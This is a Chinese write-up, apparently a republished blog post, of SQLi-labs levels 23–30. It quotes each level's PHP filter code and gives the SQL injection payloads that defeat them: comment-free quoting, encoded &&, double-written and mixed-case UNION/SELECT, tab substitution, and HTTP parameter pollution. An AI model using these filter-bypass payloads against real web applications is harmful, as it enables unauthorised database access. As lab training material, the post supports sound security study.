Sqli靶场23-->30

news2024/11/27 5:28:52

不知不觉鸽了几天了,没办法去旅游摸鱼是这样的了,抓紧时间来小更一下

                                

23.过滤注释符号

先手工注入一下,就能发现两个单引号不报错,但是一旦上到注释符号的话就会报错,可以猜测出是对注释符号进行了过滤,我们也去看一下源码!!

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

不难发现,源代码的意思就是将 # -- 这两个注释符号替换成空,那很简单我们不注释就好了

不多说下一关!!

24.二次注入

这个关卡在前面讲过,就不多赘述,有兴趣的话可以翻一下我前面的文章

25.小小过滤and,编码秒了

这一关从它的提示都能发现他过滤了and和or,但是没有过滤编码(我猜的

于是就开始poc:

1'+%26%26+1=1--+

成功能够看见返回(Hint:在sql中and和&&的作用都是一样的)

26.过滤我and?还过滤我空格?但是无伤大雅

这一关一开始我是没有看提示的,直接手工注入,字符型,没跑

然后注释测试发现又给我过滤了,于是就写这样的poc

id=1'+and+1='1

不出意外,报错。。。。。。于是就在想是不是and导致的报错,于是poc就有

id=1'and'

回显正常,说明是and被过滤,尝试编码绕过

 没有回显(报错),说明是and被过滤, 而且%26%26被成功解析

于是继续我们的poc

id=1'+%26%26+1='1

 发现能成功回显,然后其实完全就到此为止了,但是,!@@@@!!!!

看一眼提示?其实就能发现它对空格也进行了过滤,但是没有什么关系,因为就算sql语句堆在一起,只要不触碰到关键词,都是会执行的,但是如果你想完美 加个/**/就好

27.and?三次绕过&&大小写

这题其实完全可以直接用and秒了,但是既然他都已经在暗示我过滤了select 和union了 那我怎么好意思不绕一下waf 开始poc(因为注释被过滤,所以select的最后一个要是'包裹)

321331231'+union+select+1,2,'1 

看看被过滤成了啥?好家伙,空格,union select 你是吞的一个不剩😓😓

那我们分别试一下双写一下试试?发现union和tab(%09)是出来了,但是我select呢??

321331231'+uniunionon%09seselectlect%091,2,'1 

于是试一下大小写?,成功绕过WAF

321331231'+uniunionon%09SelEct%091,user(),'1 

 这样就做出来了,但是还是得去看一下源代码,(为了日后的代码审计)

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
  • 可以看到首先它是过滤了/ 和*
  • 然后将 -- #这些过滤掉
  • 接着就是空格了
  • 接下来就是select 了可以看见它前前后后一共过滤了两次,所以这就是为什么我们对select双写没有用的原因
  • 然后就是对union进行替换,而且是只替换一次,这里就是为什么可以进行双写绕过的原因

那么审计完代码了,其实我们是不是可以对select 进行一次三写,?这样也是可以的

321331231'+uniunionon%09seselecselecttlect%091,user(),'1

28.这不看源代码写的出来??牛魔WAF

这个题呃呃呃,感觉不看源代码真的绕不过这这个waf啊

                            我belike:    

来吧,先上最简单的poc:

1'%09union%09select%091,2,'3 

 发现变成了这样,双写一下试试看?

?又不过滤了

1'%09uniounionn%09seselectlect%091,2,'3

再来? 

1'%09unionunion%09selectselect%091,2,'3

  这是什么神奇waf(长见识了,其实这种就已经不在是匹配关键字)

而是匹配一种结构!!!!!!

于是就可以发现它匹配的是 union select这样的结构,那我们替换一下就好

2321312321312'%09union%09union%09selectselect%091,user(),'3

但是呢,你会收获一个这个

可以看见语句是被构造出来了,但是没有被执行,而且这个报错也不是我们常见的类型syntax error 于是我们去翻译一下      期待参数1是资源,但是却接收到了布尔值

也就是说接收到得分参数不匹配,于是去看一下源代码。。。。

sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

逆天!!!还有一个 () 怪不得一直不对,所以最终的poc就出来了

2321312321312')%09union%09union%09selectselect%091,user(),('3

29.明明可以绝杀,但是为什么要故意放水(bushi)

这一关,明明作者可以直接堵死注入点,但是他还是留了一条出路   来看!!!

首先看见这个hint就知道不简单,来看看他有多逆天

先是最简单的 1’这样的判断

发现就直接被过滤了,而且这题你会发现你怎么绕过都是这个结果,没办法,看源码

直到我看完源代码才知道什么是不是不可以,而是没有必要

先来看一个函数 whitelist

function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
  • 这里唯一要解释一下的,因该就只有$match = preg_match("/^\d+$/", $input); 了
  • 这个表示的是正则匹配传入的参数从开头到结尾是不是都是纯数字
  • 然后如果不是的话就跳转至 hacked.php 然后阻断注入

本来这个就已经是绝杀了的,但是慈祥的出题人还是给我们留下了退路(像极了老师捞人的样子)

函数java_implimentation()

function java_implimentation($query_string)
{

	$q_s = $query_string;
	$qs_array= explode("&",$q_s);

	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}

	}

}
  • 巴拉巴拉一大堆,其实就是在将传入的参数以&符号分割开来,用数组接收
  • 并且它只检查第一个id值,并且返回id后面的参数值(就是这里在放水!!)

放水还远不止于此,继续看!!!

$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	//echo $id1;
	whitelist($id1);
	
// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其实我一直很好奇 他为什么不将$sql里面的动态插入的sql语句中的$id 换成能够通过过滤的$id1

         看的出来放水放到极致了    

所以这题的绕过方法就出来了, 写两个id

  • 第一个id为正常的数字参数,能够被正常检验,并且通过waf 然后再将后面咩有过滤的id拼接上去造成注入

于是就有最终的poc

id=1'&id=-1'+union+select+1,database(),user()--+

30.还是29关但是"

这一关还是一样,不过后面的 ' 要改成双引号 " 然后其他的都一样了 poc:

id=0&id=0"+union+select+1,user(),database()--+

 

差不多,写了七关,感觉要写到累死了,   ,后面的先鸽着,有时间再补,到时候过年的时候打算自己开一下红队,因为 我的兄弟:

我的兄弟萌,"内网,才是真正的战场,才是一个人的知识体系的最终融合体现!!!"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1433137.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华为配置OSPF与BFD联动示例

配置OSPF与BFD联动示例 组网图形 图1 配置OSPF与BFD联动组网图 OSPF与BFD联动简介配置注意事项组网需求配置思路操作步骤配置文件 OSPF与BFD联动简介 双向转发检测BFD&#xff08;Bidirectional Forwarding Detection&#xff09;是一种用于检测转发引擎之间通信故障的检测…

深度学习系列56:使用whisper进行语音转文字

1. openai-whisper 这应该是最快的使用方式了。安装pip install -U openai-whisper&#xff0c;接着安装ffmpeg&#xff0c;随后就可以使用了。模型清单如下&#xff1a; 第一种方式&#xff0c;使用命令行&#xff1a; whisper japanese.wav --language Japanese --model…

目标检测任务的调研与概述

目标检测任务的调研与概述 0 FQA1 目标检测任务基本知识&#xff1a;1.1 什么是目标检测&#xff1f;1.2 目标检测的损失函数都有那些&#xff1f;1.2.1 类别损失&#xff1a;1.2.2 位置损失&#xff1a; 1.3 目标检测的评价指标都有那些&#xff1f;1.4 目标检测有那些常见的数…

移动云ONAIR媒体云全解读!媒体内容数字化融合一站式解决方案

当下&#xff0c;传统媒体面临着诸多挑战&#xff0c;如何利用信息技术提升内容的质量、形式和分发效率&#xff0c;成为媒体行业的迫切需求。移动云作为数字中国建设的“主力军”&#xff0c; 立足于新兴媒体与云计算市场的变化与需求&#xff0c;推出了ONAIR 媒体云解决方案&…

Redis核心技术与实战【学习笔记】 - 20.Redis原子操作及并发访问

概述 使用 Redis 时&#xff0c;不可避免地会遇到并发访问的问题&#xff0c;比如说如果多个用户同时下单&#xff0c;就会对缓存在 Redis 中的商品库存并发更新。一旦有了并发写操作&#xff0c;数据就会被修改&#xff0c;如果我们没有对并发写请求做好控制&#xff0c;就可…

机器学习中的有监督学习和无监督学习

有监督学习 简单来说&#xff0c;就是人教会计算机学会做一件事。 给算法一个数据集&#xff0c;其中数据集中包含了正确答案&#xff0c;根据这个数据集&#xff0c;可以对额外的数据希望得到一个正确判断&#xff08;详见下面的例子&#xff09; 回归问题 例如现在有一个…

套路化编程 C# winform 自适应缩放布局

本例程实现基本的自适应缩放布局。 在本例程中你将会学习到如何通过鼠标改变界面比例&#xff08;SplitContainer&#xff09;、如何使用流布局&#xff08;FlowLayoutPanel&#xff09;排列控件&#xff0c;当然首先需要了解如何设置控件随窗口缩放。 目录 创建项目 ​编辑…

【npm】安装全局包,使用时提示:不是内部或外部命令,也不是可运行的程序或批处理文件

问题 如图&#xff0c;明明安装Vue是全局包&#xff0c;但是使用时却提示&#xff1a; 解决办法 使用以下命令任意一种命令查看全局包的配置路径 npm root -g 然后将此路径&#xff08;不包括node_modules&#xff09;添加到环境变量中去&#xff0c;这里注意&#xff0c;原…

101 C++内存高级话题 内存池概念,代码实现和详细分析

零 为什么要用内存池&#xff1f; 从前面的知识我们知道&#xff0c;当new 或者 malloc 的时候&#xff0c;假设您想要malloc 10个字节&#xff0c; char * pchar new char[10]; char *pchar1 malloc(10); 实际上编译器为了 记录和管理这些数据&#xff0c;做了不少事情&…

全自动网页生成系统重构版源码

全自动网页生成系统重构版源码分享&#xff0c;所有模板经过精心审核与修改&#xff0c;完美兼容小屏手机大屏手机&#xff0c;以及各种平板端、电脑端和360浏览器、谷歌浏览器、火狐浏览器等等各大浏览器显示。 为用户使用方便考虑&#xff0c;全自动网页制作系统无需繁琐的注…

陶哲轩如何用 GPT-4 辅助数学研究

关于陶哲轩&#xff08;Terence Tao&#xff09;用 GPT-4 进行数学研究的话题始于陶本人在 微软 Unlocked 上发表的 Embracing Change and Resetting Expectations 一文。文中提到&#xff1a; …… I could feed GPT-4 the first few PDF pages of a recent math preprint and…

Vue3动态CSS

Vue3动态CSS 动态css值动态css对象module模式 动态css值 <template><div class"div">动态css</div> </template><script setup langts> import {ref} from vueconst style ref(blue) </script><style scoped> .div{colo…

绕过无限debugger

目标网站 aHR0cHM6Ly93d3cuaWMubmV0LmNuL3NlYXJjaC81NTAuaHRtbA 改为Firefox浏览器进行调试,取消勾选 Pause on debugger statement 参考:https://blog.csdn.net/kdl_csdn/article/details/135137490

MySQL进阶之锁(表级锁,元数据锁,意向锁)

表级锁 介绍 表级锁&#xff0c;每次操作锁住整张表。锁定粒度大&#xff0c;发生锁冲突的概率最高&#xff0c;并发度最低。应用在MyISAM、 InnoDB、BDB等存储引擎中。 对于表级锁&#xff0c;主要分为以下三类&#xff1a; 表锁 元数据锁&#xff08;meta data lock&…

算法笔记刷题日记——3.简单入门模拟 3.1简单模拟

刷题日记 3.1 简单模拟 此类题型根据题目描述进行代码的编写&#xff0c;考察代码能力&#xff0c;刷题记录如下&#xff1a; B1001 B1032 B1016 B1026 B1046 B1008 B1012 B1018 A1042 A1046 A1065 B1010 A1002 A1009 错题记录 B1008 数组元素循环右移问题 一个数组_A_中存有…

C语言小游戏:贪吃蛇(游戏开发的环境和功能介绍)

❀❀❀ 文章由不准备秃的大伟原创 ❀❀❀ ♪♪♪ 若有转载&#xff0c;请联系博主哦~ ♪♪♪ ❤❤❤ 致力学好编程的宝藏博主&#xff0c;代码兴国&#xff01;❤❤❤ 生命不停&#xff0c;学习不止。铁汁们&#xff0c;我是大伟&#xff0c;欢迎来到大伟的游戏时间&#xff0c…

【论文阅读笔记】InstantID : Zero-shot Identity-Preserving Generation in Seconds

InstantID:秒级零样本身份保持生成 理解摘要Introduction贡献 Related WorkText-to-image Diffusion ModelsSubject-driven Image GenerationID Preserving Image Generation Method实验定性实验消融实验与先前方法的对比富有创意的更多任务新视角合成身份插值多身份区域控制合…

【遥感入门系列】遥感电磁辐射与遥感过程

遥感电磁辐射是比较难理解也是非常重要的内容&#xff0c;对于一般学习遥感专业的人来说&#xff0c;只需要学习个大概&#xff0c;这个大概主要包括你需要理解几个概念以及能从电磁辐射原理上解释一些遥感现象&#xff0c;进而为遥感过程的理解打下一个基础&#xff0c;如果你…

85.如何设计高并发系统(缓存、限流、熔断、降级)

文章目录 一&#xff1a;简介二&#xff1a;什么是高并发1、高并发的定义2、高并发的特点3、高并发场景和应用4、高并发的影响 三&#xff1a;高并发应对策略四&#xff1a;缓存1、浏览器缓存2、客户端缓存3、CDN缓存4、反向代理缓存5、本地缓存6、分布式缓存7、缓存问题8、缓存…

【代码随想录-哈希表】两个数组的交集

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老导航 檀越剑指大厂系列:全面总结 jav…